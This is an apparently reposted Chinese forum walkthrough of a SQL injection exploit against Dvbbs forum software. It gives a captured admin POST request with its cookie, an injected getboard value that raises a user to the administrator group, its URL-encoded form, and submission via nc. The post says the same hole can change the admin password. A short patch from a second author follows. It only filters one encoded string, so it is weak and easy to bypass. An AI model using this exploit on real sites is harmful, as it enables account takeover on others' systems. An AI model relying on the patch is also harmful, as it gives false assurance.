信息来源:冰点论坛
首先找一个没有固顶帖子的版面,自己找找去。一个
论坛
总不可能哪个版块都有固顶吧?点进去看看有没有固定帖子什么的,我是自己架
设的平台做测试的。当然要"符合"漏洞条件了。以前台管理员的身份登陆,也
不一定要用前台管理员进去,一个斑竹就行,能固顶帖子就行了,然后随便发个
帖子。然后点下设置固顶如图
按正常的方式固顶,如图
到这里我们先暂停,打开WSE抓包工具准备抓取提交的post信息,打开了之后点下
确认操作。现在看看WSE抓到些什么东西了,如图
截取到了post提交信息,复制下来,内容如下:
POST /sql/admin_postings.asp?action=istop HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*
Referer:
http://192.168.1.254/sql/admin_postings.asp?action=istop
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2;
TencentTraveler ; .NET CLR 1.1.4322)
Host: 192.168.1.254
Content-Length: 133
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
192%2E168%2E1%2E254%2Fsql%2F=UserID=1&usercookies=0&password=9pb621664s
5w7IL7&userhidden=2&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUse
rID=1929167667; ASPSESSIONIDCATQTATT=JJGHMOMDLJJAAFHAGMLGOMIL;
ASPSESSIONIDACTTRATS=NMLHLBBAPMOIEGAIBMBFOIMH; Dvbbs=; upNum=0
istopaction=1&boardID=1&ID=1&title=&content=a&doWealth=0&dousercp=0&dou
serep=0&msg=&ismsg=&getboard=1&submit=%C8%B7%C8%CF%B2%D9%D7%F7
现在我们做什么呢?把getboard改成1,1);update [dv_user] set usergroupid=1
where userid=2;-- 不过我们得先转下unicode编码,用encoder.exe转一下,转
换结果如下%31%2C%31%29%3B%75%70%64%61%74%65%20%5B%64%76%5F%75%73%65%72%
5D%20%73%65%74%20%75%73%65%72%67%72%6F%75%70%69%64%3D%31%20%77%68%65%72
%65%20%75%73%65%72%69%64%3D%32%3B%2D%2D%20
把那个getboard=1把这个1换为注射语句就行了。这条语句的意思是将userid值为
2的用户提到管理员组,不过只是前台管理员哦。然后算一下增加了多少个字符修
改下Content-Length的值,我也懒得去数就改成250吧。修改完之后就用NC提交,
如图.
意思是将a.txt的内容用nc提交上去然后将返回的信息保存在1.htm里面.
接着打开我们输出的1.htm看看,如图
语法错误?知道是为什么吗?前面我说过了,Content-Length的长度我没数,语
句只执行到1,1);update [dv_user] set usergroupid=1 where user这里,语句
都没执行完,能正确吗?不过不要紧,我们把长度多加几个数就改成278吧然后再
次提交,然后查看1.htm的输出结果,如图
看到没有?操作成功。成功执行了我们的注入语句。我们看看userid=2的用户是
否成为管理员了,userid=2对应的用户名是:619054,为了省事,我就直接在后台
查看下这个用户的权限是否为管理员了,如图
呵呵,真的提升为管理员了,这个漏洞不光可以将用户从普通权限提升为管
理员,而且还可以直接更改后台管理员的密码,这够严重的吧?动网官方
论坛
到现在都还没出补丁。真够郁闷的
-----------------------------------------------------------------------------------------------------------
以下为yezhan临时制作的屏蔽这一漏洞的补丁,已写在我的站上(http://532100.com)
因为官方还没出补丁
问题的严重性不需要我来说了吧
我先写个简单点的屏蔽补丁
在页子的处理提交的getboard的时候加一段代码
Code:
if instr(""&request.form("getboard")&"","%75%70%64%61%74%65%20%5B%64%76%5F%75%73%65%72%5D%20%73%65%74%20%75%73%65%72%67%72%6F%75%70%69%64%3D") > 0 then
response.write "请勿利用最新漏洞对本站进行注入攻击."
response.end
else
原来的代码
[Ctrl+A Select All]
最后在文件的最后面加上
"end if"
上面的是我的思路
也可以直接用我
修改过的admin_postings.asp替换原来的文件,即可屏蔽这一漏洞